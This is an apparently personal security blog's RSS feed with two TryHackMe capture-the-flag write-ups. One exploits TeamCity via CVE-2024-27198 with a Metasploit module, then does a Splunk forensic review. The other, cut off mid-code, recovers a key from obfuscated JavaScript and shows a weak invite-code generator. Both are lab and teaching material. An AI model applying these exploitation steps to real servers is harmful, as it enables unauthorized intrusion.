<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>RCE on Alexander Roca</title><link>https://alexanderroca.dev/tags/rce/</link><description>Recent content in RCE on Alexander Roca</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Wed, 03 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://alexanderroca.dev/tags/rce/index.xml" rel="self" type="application/rss+xml"/><item><title>Brains Write-up</title><link>https://alexanderroca.dev/tactics/brains-write-up/</link><pubDate>Fri, 22 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/brains-write-up/</guid><description>The main objective is to find how an attacker exploited the server and afterwards make a forensic examination of the host to identify the attacker&amp;#39;s footprints at the post-exploitation stage.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/brains">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Easy<br>
<strong>Tags:</strong> CTF, Remote Code Execution, Forensic, Splunk<br>
<strong>Target IP:</strong> <code>10.113.190.140</code></p>
<h1 id="objective">Objective</h1>
<p>The main objective is to determine how an attacker exploited the server and subsequently perform a forensic examination of the host to identify the attacker&rsquo;s footprints during the post-exploitation stage.</p>
<h1 id="exploiting-the-server">Exploiting the Server</h1>
<h2 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h2>
<h3 id="scanning-services">Scanning Services</h3>
<p>Making a quick scan of the target would be useful to get more context of our scenario and to verify which services are available using <code>nmap 10.113.190.140</code></p>
<p><strong>Discovered services:</strong>
<img alt="1" loading="lazy" src="/images/tactics/brains/1.png"></p>
<ul>
<li><code>ssh</code></li>
<li><code>http</code></li>
<li><code>ibm-db2</code></li>
</ul>
<blockquote>
<p><code>ibm-db2</code> is a family of relational database products from <strong>IBM</strong> for storing, managing, and analyzing structured data.</p>
</blockquote>
<p>Using <code>nmap -p 50000 --script db2-das-info -sV 10.113.190.140</code> confirms the DB2 listener details to identify what host, port, and features are used to authenticate with a DB2 Client.</p>
<p><img alt="2" loading="lazy" src="/images/tactics/brains/4.png"></p>
<p>Looking at the output, we can extract the port <em>50000</em> is speaking <strong>HTTP</strong> and identifies a path to login manually to <code>/login.html</code> page.</p>
<h3 id="initial-access">Initial Access</h3>
<p>Examining the <code>http</code> service using a web browser to gather more information: <code>http://10.113.190.140</code>
<img alt="3" loading="lazy" src="/images/tactics/brains/2.png"></p>
<p>Upon visiting the homepage and inspecting the <strong>Page Source</strong>, anything relevant was found.</p>
<p>Examining the <code>ibm-db2</code> service (which is actually running a web interface) using the web browser: <code>http://10.113.190.140:50000/login.html</code>
<img alt="4" loading="lazy" src="/images/tactics/brains/5.png"></p>
<p>The service is operating an old version <code>2023.11.3 (build 147512)</code></p>
<h3 id="directory-bruteforcing">Directory Bruteforcing</h3>
<h4 id="http-service">HTTP Service</h4>
<p>Using <code>gobuster</code> with a standard wordlist to find hidden directories and files:
<code>gobuster dir -u http://10.113.190.140 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code></p>
<p><strong>Discovered Paths:</strong>
<img alt="5" loading="lazy" src="/images/tactics/brains/3.png"></p>
<p>Nothing significant was revealed.</p>
<h4 id="ibm-db2-service">IBM-DB2 Service</h4>
<p>Using <code>gobuster</code> with a standard wordlist to find hidden directories and files on the specific port:
<code>gobuster dir -u http://10.113.190.140:50000 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code></p>
<p><strong>Discovered Paths</strong>:
<img alt="6" loading="lazy" src="/images/tactics/brains/6.png"></p>
<ul>
<li><code>login.html</code></li>
<li><code>400.html</code></li>
<li><code>forgotPassword.html</code></li>
<li><code>resetPassword.html</code></li>
</ul>
<h3 id="vulnerability-research">Vulnerability Research</h3>
<p>Searching for a vulnerability for the specific version <code>2023.11.3</code> in <strong>JetBrains</strong> products.
<img alt="7" loading="lazy" src="/images/tactics/brains/7.png"></p>
<p>There is an identified critical authentication bypass vulnerability tracked as <a href="https://nvd.nist.gov/vuln/detail/cve-2024-27198">CVE-2024-27198</a> an allows performing admin actions.</p>
<h2 id="exploitation">Exploitation</h2>
<h3 id="command-execution--remote-code-execution">Command Execution &amp; Remote Code Execution</h3>
<p>Knowing there is a specific vulnerability to perform admin actions implies we will be able to execute code remotely. To make the exploitation process quick, <code>Metasploit</code> will help to automate the entire process. Launch <code>msfconsole</code></p>
<h4 id="step-1-select-exploit-module">Step 1: Select Exploit module</h4>
<p>Searching for the specific exploit module, <code>search cve:2024-27198</code>
<img alt="8" loading="lazy" src="/images/tactics/brains/8.png"></p>
<p>Select the exploit,<code>exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198</code>
<img alt="9" loading="lazy" src="/images/tactics/brains/9.png"></p>
<h4 id="step-2-execute-the-payload">Step 2: Execute the payload</h4>
<p>Firstly, examining the required options to be filled in, <code>show options</code>
<img alt="10" loading="lazy" src="/images/tactics/brains/10.png"></p>
<p>The required options in this scenario are:</p>
<ul>
<li><code>RHOSTS</code></li>
<li><code>RPORT</code></li>
</ul>
<p>Insert the needed values use <code>set RHOSTS 10.113.170.99</code> and <code>set RPORT 50000</code> and verify that are correctly selected using <code>show options</code> again.
<img alt="11" loading="lazy" src="/images/tactics/brains/11.png"></p>
<p>Verify if the target is vulnerable after setting the options using <code>check</code>, then run the exploit with <code>run</code>
<img alt="12" loading="lazy" src="/images/tactics/brains/12.png"></p>
<h4 id="step-3-environment-check">Step 3: Environment Check</h4>
<p>Execute basic commands to understand the environment:</p>
<ul>
<li><code>whoami</code></li>
<li><code>pwd</code></li>
<li><code>ls</code>
<img alt="13" loading="lazy" src="/images/tactics/brains/13.png"></li>
</ul>
<p>The flag is mentioned to be in the home flag. Therefore, navigate to the specific folder using <code>cd /home</code> and <code>ls ubuntu</code>
<img alt="14" loading="lazy" src="/images/tactics/brains/14.png"></p>
<p>Read the content of the file <code>flag.txt</code> using <code>cat ubuntu/flag.txt</code>
<img alt="15" loading="lazy" src="/images/tactics/brains/15.png"></p>
<p><strong>Output:</strong><code>THM{faa9bac345709b6620a6200b484c7594}</code></p>
<blockquote>
<p><strong>Home folder flag Found:</strong><code>THM{faa9bac345709b6620a6200b484c7594}</code></p>
</blockquote>
<h1 id="investigation">Investigation</h1>
<p>The IT department has provided the compromised server. The goal is to identify the attacker&rsquo;s footprints in the post-exploitation stage. <strong>Splunk</strong> will be the first place to delve into the scenario.</p>
<ul>
<li>Username: <code>splunk</code></li>
<li>Password: <code>analyst123</code></li>
</ul>
<h2 id="splunk-examination">Splunk Examination</h2>
<h3 id="malicious-user">Malicious User</h3>
<p>Access Splunk using the following URL, <code>http://10.114.181.179:8000</code>
<img alt="16" loading="lazy" src="/images/tactics/brains/16.png"></p>
<p>It is required to explore the <code>Search &amp; Reporting</code> app to investigate the logs from the <code>brains</code> service. Select the option <code>Data Summary</code> to extract all the entrances classified by specific criteria.
<img alt="17" loading="lazy" src="/images/tactics/brains/17.png"></p>
<p>Since the attacker has been authorized as a <code>root</code> all the authentication logs are stored in <code>auth.log</code>
<img alt="18" loading="lazy" src="/images/tactics/brains/18.png"></p>
<p>Display all records captured from <code>auth.log</code> by selecting the time frame as <code>All time</code>
<img alt="19" loading="lazy" src="/images/tactics/brains/19.png"></p>
<p>Since the next flag mentions <strong>user</strong>, looking at the section called <code>INTERESTING FIELDS</code> does not mention anything about <code>name</code> or <code>user</code> initially, but there is an option to select <code>more fields</code>
<img alt="20" loading="lazy" src="/images/tactics/brains/20.png"></p>
<p>In the <code>Field</code> column there is an instance called <code>name</code>. By displaying the field, there is an interesting line that mentions the user.
<img alt="21" loading="lazy" src="/images/tactics/brains/21.png"></p>
<blockquote>
<p><strong>Name of the backdoor user which was created on the server after exploitation:</strong> <code>eviluser</code></p>
</blockquote>
<p>By including the filter of the known malicious user, we can identify the day of the attack.
<img alt="22" loading="lazy" src="/images/tactics/brains/22.png"></p>
<p>It is vital to inspect <code>7/14/24</code></p>
<h3 id="malicious-package">Malicious Package</h3>
<p>Within the <code>Data Summary</code>, the <code>Sourcetypes</code> section mentions <code>packages</code>. Therefore, the next step is to review its content. Before anything, apply an advisable filter to reduce the entrances by selecting <code>Date &amp; Time Range</code> and specifying the date <code>07/14/2024</code>
<img alt="23" loading="lazy" src="/images/tactics/brains/23.png"></p>
<p>Now there are all the instances with the source type <code>packages</code> that were registered in the system before <code>7/24/24</code>
<img alt="24" loading="lazy" src="/images/tactics/brains/24.png"></p>
<p>The first instance contains a suspicious name called <code>datacollector</code></p>
<blockquote>
<p><strong>Name of the malicious-looking package installed on the server</strong>: <code>datacollector</code></p>
</blockquote>
<h3 id="plugin-installed">Plugin Installed</h3>
<p>To look for the malicious plugin, it is mandatory to first review the service that was attacked. It is called <code>teamcity</code>. Therefore, look in the <code>Data Summary</code> within the <code>Sources</code> section where  <code>teamcity-activities.log</code>.</p>
<p>Repeating the same temporal criteria as for the malicious package and apply an additional filter <code>*plugin*</code>. The entries generated by Splunk will be the most relevant to inspect based on the scenario.
<img alt="25" loading="lazy" src="/images/tactics/brains/25.png"></p>
<p>Looking at the first instance it reveals a bizarre name <code>AyzzbuXY</code> and it is a <code>zip</code> file. This is the plugin.</p>
<blockquote>
<p><strong>Name of the plugin installed on the server after successful exploitation:</strong> <code>AyzzbuXY.zip</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By scanning the IP, identifying the service on port <code>50000</code> as a <strong>JetBrains TeamCity</strong> instance, and exploiting a known vulnerability (<strong>CVE-2024-27198</strong>) that allows a remote code execution as the root user, we successfully retrieved the initial flag.</p>
<p>By accessing Splunk to review <code>Data Summary</code> where was registered the authentication and TeamCity service activities were registered as logs, we successfully retrieved the forensic flags.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Patch Management</strong>: immediately update JetBrains TeamCity to the latest version to mitigate known CVEs like CVE-2024-27198.</li>
<li><strong>Network Segmentation</strong>: restrict access to administrative interfaces (like TeamCity login page) to trusted IP ranges only, rather than exposing them publicly.</li>
<li><strong>Log Monitoring &amp; SIEM</strong>: implement robust logging and real-time monitoring (like Splunk) to detect anomalous user creation, suspicious package installations, and unauthorized plugin activity.</li>
<li><strong>Principle of Least Privilege</strong>: ensure that services do not run with unnecessary root privileges and that user accounts are strictly controlled.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>Home folder flag:</strong> <code>THM{faa9bac345709b6620a6200b484c7594}</code></li>
<li><strong>Name of the backdoor user which was created on the server after exploitation:</strong> <code>eviluser</code></li>
<li><strong>Name of the malicious-looking package installed on the server</strong>: <code>datacollector</code></li>
<li><strong>Name of the plugin installed on the server after successful exploitation:</strong> <code>AyzzbuXY.zip</code></li>
</ol>
]]></content:encoded></item><item><title>Decryptify Write-up</title><link>https://alexanderroca.dev/tactics/decryptify-write-up/</link><pubDate>Wed, 03 Jun 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/decryptify-write-up/</guid><description>The main objective is to exploit a cryptographically insecure invitation code generation system, then leverage a padding oracle vulnerability in the DES/CBC encryption to achieve remote code execution on the target server.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/decryptify">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Medium
<strong>Tags:</strong> CTF, Web Exploitation
<strong>Target IP:</strong> <code>10.114.184.31</code></p>
<h1 id="objective">Objective</h1>
<p>The main objective is to exploit a weak cryptographic implementation to gain unauthorized access to the system, then leverage a padding oracle vulnerability to achieve remote code execution and retrieve the flags.</p>
<h1 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h1>
<h2 id="scanning-services">Scanning Services</h2>
<p>Making a quick scan of the target to identify open ports and services using <code>nmap</code>. Executing a <strong>default scan</strong>, <code>nmap 10.114.184.31</code>
<img alt="1" loading="lazy" src="/images/tactics/decryptify/1.png"></p>
<p>Output:</p>
<ul>
<li><code>ssh</code></li>
</ul>
<p>Based on the result it might be interesting to scan even deeper using <code>nmap -p- -sC -sV -T4 10.114.184.31</code>
<img alt="2" loading="lazy" src="/images/tactics/decryptify/2.png"></p>
<p>Output:</p>
<ul>
<li><code>ssh</code></li>
<li><code>http</code></li>
</ul>
<p>Exploring the HTTP service: <code>http://10.114.184.31:1337</code>
<img alt="3" loading="lazy" src="/images/tactics/decryptify/3.png"></p>
<p>There are 3 interesting options to look further:</p>
<ul>
<li><code>Login</code></li>
<li><code>Login with Invite Code</code></li>
<li><code>API Documentation</code></li>
</ul>
<h2 id="directory-scan">Directory Scan</h2>
<p>Looking to extract more possible paths using <code>gobuster</code>. Starting with a basic directory scan <code>gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code>
<img alt="4" loading="lazy" src="/images/tactics/decryptify/4.png"></p>
<p>Output:</p>
<ul>
<li><code>/css</code></li>
<li><code>/js</code></li>
<li><code>/logs</code></li>
<li><code>/phpmyadmin</code></li>
</ul>
<h3 id="extended-directory-scan-with-extensions">Extended Directory Scan with Extensions</h3>
<p>Looking to execute a directory scan with extensions <code>gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip</code>
<img alt="5" loading="lazy" src="/images/tactics/decryptify/7.png"></p>
<p>Output:</p>
<ul>
<li><code>/api.php</code></li>
<li><code>/dashboard.php</code></li>
</ul>
<h2 id="log-analysis">Log Analysis</h2>
<p>Investigating <code>/logs</code> endpoints <code>http://10.114.184.31:1337/logs</code>
<img alt="6" loading="lazy" src="/images/tactics/decryptify/5.png"></p>
<p>It contains a log file called <code>app.log</code>
<img alt="7" loading="lazy" src="/images/tactics/decryptify/6.png"></p>
<p>The relevant information to extract are:</p>
<ul>
<li>Email:<code>alpha@fake.thm</code> with the invitation code <code>MTM0ODMzNzEyMg==</code> has been deactivated</li>
<li>Email: <code>hello@fake.thm</code> as a new user created</li>
<li>URL: <code>dashboard.php</code></li>
</ul>
<p>Inspecting the main URL <code>http://10.114.184.31:1337</code> with <code>Network</code> nav from browser development tools:
<img alt="8" loading="lazy" src="/images/tactics/decryptify/8.png"></p>
<h2 id="javascript-obfuscation-analysis">JavaScript Obfuscation Analysis</h2>
<p>There is a script called <code>api.js</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>,<span style="color:#a6e22e">d</span>){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">e</span><span style="color:#f92672">=</span><span style="color:#a6e22e">a</span>();<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span><span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">f</span>,<span style="color:#a6e22e">g</span>){<span style="color:#a6e22e">f</span><span style="color:#f92672">=</span><span style="color:#a6e22e">f</span><span style="color:#f92672">-</span><span style="color:#ae81ff">0x165</span>;<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">h</span><span style="color:#f92672">=</span><span style="color:#a6e22e">e</span>[<span style="color:#a6e22e">f</span>];<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span>;},<span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>,<span style="color:#a6e22e">d</span>);}<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span><span style="color:#f92672">=</span><span style="color:#a6e22e">b</span>;<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">a</span>(){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">k</span><span style="color:#f92672">=</span>[<span style="color:#e6db74">&#39;16OTYqOr&#39;</span>,<span style="color:#e6db74">&#39;861cPVRNJ&#39;</span>,<span style="color:#e6db74">&#39;474AnPRwy&#39;</span>,<span style="color:#e6db74">&#39;H7gY2tJ9wQzD4rS1&#39;</span>,<span style="color:#e6db74">&#39;5228dijopu&#39;</span>,<span style="color:#e6db74">&#39;29131EDUYqd&#39;</span>,<span style="color:#e6db74">&#39;8756315tjjUKB&#39;</span>,<span style="color:#e6db74">&#39;1232020YOKSiQ&#39;</span>,<span style="color:#e6db74">&#39;7042671GTNtXE&#39;</span>,<span style="color:#e6db74">&#39;1593688UqvBWv&#39;</span>,<span style="color:#e6db74">&#39;90209ggCpyY&#39;</span>];<span style="color:#a6e22e">a</span><span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(){<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">k</span>;};<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span>();}(<span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">d</span>,<span style="color:#a6e22e">e</span>){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#a6e22e">b</span>,<span style="color:#a6e22e">f</span><span style="color:#f92672">=</span><span style="color:#a6e22e">d</span>();<span style="color:#66d9ef">while</span>(<span style="color:#f92672">!!</span>[]){<span style="color:#66d9ef">try</span>{<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">g</span><span style="color:#f92672">=</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16b</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x1</span><span style="color:#f92672">+-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16f</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x2</span><span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x167</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x3</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16a</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x4</span>)<span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16c</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x5</span><span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x168</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x6</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x165</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x7</span>)<span style="color:#f92672">+-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x166</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x8</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16e</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x9</span>)<span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16d</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0xa</span>;<span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">g</span><span style="color:#f92672">===</span><span style="color:#a6e22e">e</span>)<span style="color:#66d9ef">break</span>;<span style="color:#66d9ef">else</span> <span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;push&#39;</span>](<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;shift&#39;</span>]());}<span style="color:#66d9ef">catch</span>(<span style="color:#a6e22e">h</span>){<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;push&#39;</span>](<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;shift&#39;</span>]());}}}(<span style="color:#a6e22e">a</span>,<span style="color:#ae81ff">0xe43f0</span>));<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">c</span><span style="color:#f92672">=</span><span style="color:#a6e22e">j</span>(<span style="color:#ae81ff">0x169</span>);
</span></span></code></pre></div><p>Looks like the function has been obfuscated. Using the following website <code>https://deobfuscate.io</code> to deobfuscate the current code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>, <span style="color:#a6e22e">d</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">e</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">a</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">f</span>, <span style="color:#a6e22e">g</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">f</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">f</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">357</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">h</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">e</span>[<span style="color:#a6e22e">f</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span>;
</span></span><span style="display:flex;"><span>  }, <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>, <span style="color:#a6e22e">d</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">b</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">a</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">k</span> <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#34;16OTYqOr&#34;</span>, <span style="color:#e6db74">&#34;861cPVRNJ&#34;</span>, <span style="color:#e6db74">&#34;474AnPRwy&#34;</span>, <span style="color:#e6db74">&#34;H7gY2tJ9wQzD4rS1&#34;</span>, <span style="color:#e6db74">&#34;5228dijopu&#34;</span>, <span style="color:#e6db74">&#34;29131EDUYqd&#34;</span>, <span style="color:#e6db74">&#34;8756315tjjUKB&#34;</span>, <span style="color:#e6db74">&#34;1232020YOKSiQ&#34;</span>, <span style="color:#e6db74">&#34;7042671GTNtXE&#34;</span>, <span style="color:#e6db74">&#34;1593688UqvBWv&#34;</span>, <span style="color:#e6db74">&#34;90209ggCpyY&#34;</span>];
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">k</span>;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">d</span>, <span style="color:#a6e22e">e</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">f</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">d</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span> (<span style="color:#66d9ef">true</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">363</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> <span style="color:#f92672">-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">367</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">359</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">362</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">4</span>) <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">364</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">360</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">357</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">7</span>) <span style="color:#f92672">+</span> <span style="color:#f92672">-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">358</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">8</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">366</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">9</span>) <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">365</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">g</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">e</span>) <span style="color:#66d9ef">break</span>; <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">shift</span>());
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">h</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">shift</span>());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}(<span style="color:#a6e22e">a</span>, <span style="color:#ae81ff">934896</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">c</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">j</span>(<span style="color:#ae81ff">361</span>);
</span></span></code></pre></div><p>There is a constant value invoked by <code>j(361)</code> assigned to a constant variable <code>c</code>. By inserting <code>console.log(c)</code> within <code>Console</code> nav from the browser development tools it should display a value:
<img alt="9" loading="lazy" src="/images/tactics/decryptify/10.png"></p>
<p>Output:</p>
<ul>
<li><code>H7gY2tJ9wQzD4rS1</code></li>
</ul>
<h1 id="exploitation">Exploitation</h1>
<h2 id="command-execution--privilege-escalation">Command Execution &amp; Privilege Escalation</h2>
<p>Trying this string (<code>H7gY2tJ9wQzD4rS1</code>) to access <code>http://10.114.184.31:1337/api.php</code> where it only requires a password, was the correct choice to access the API documentation.</p>
<p>After trying to log in as <code>hello@fake.thm</code> with the <code>H7gY2tJ9wQzD4rS1</code> as the possible invitation code, it failed. Trying this string (<code>H7gY2tJ9wQzD4rS1</code>) to access <code>http://10.114.184.31:1337/api.php</code> where it only requires a password, it was the correct choice to access the API documentation.
<img alt="10" loading="lazy" src="/images/tactics/decryptify/11.png"></p>
<h3 id="step-1-cracking-the-constant-value">Step 1: Cracking the Constant Value</h3>
<p>It reveals the function that generates the invitation code against the user email.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
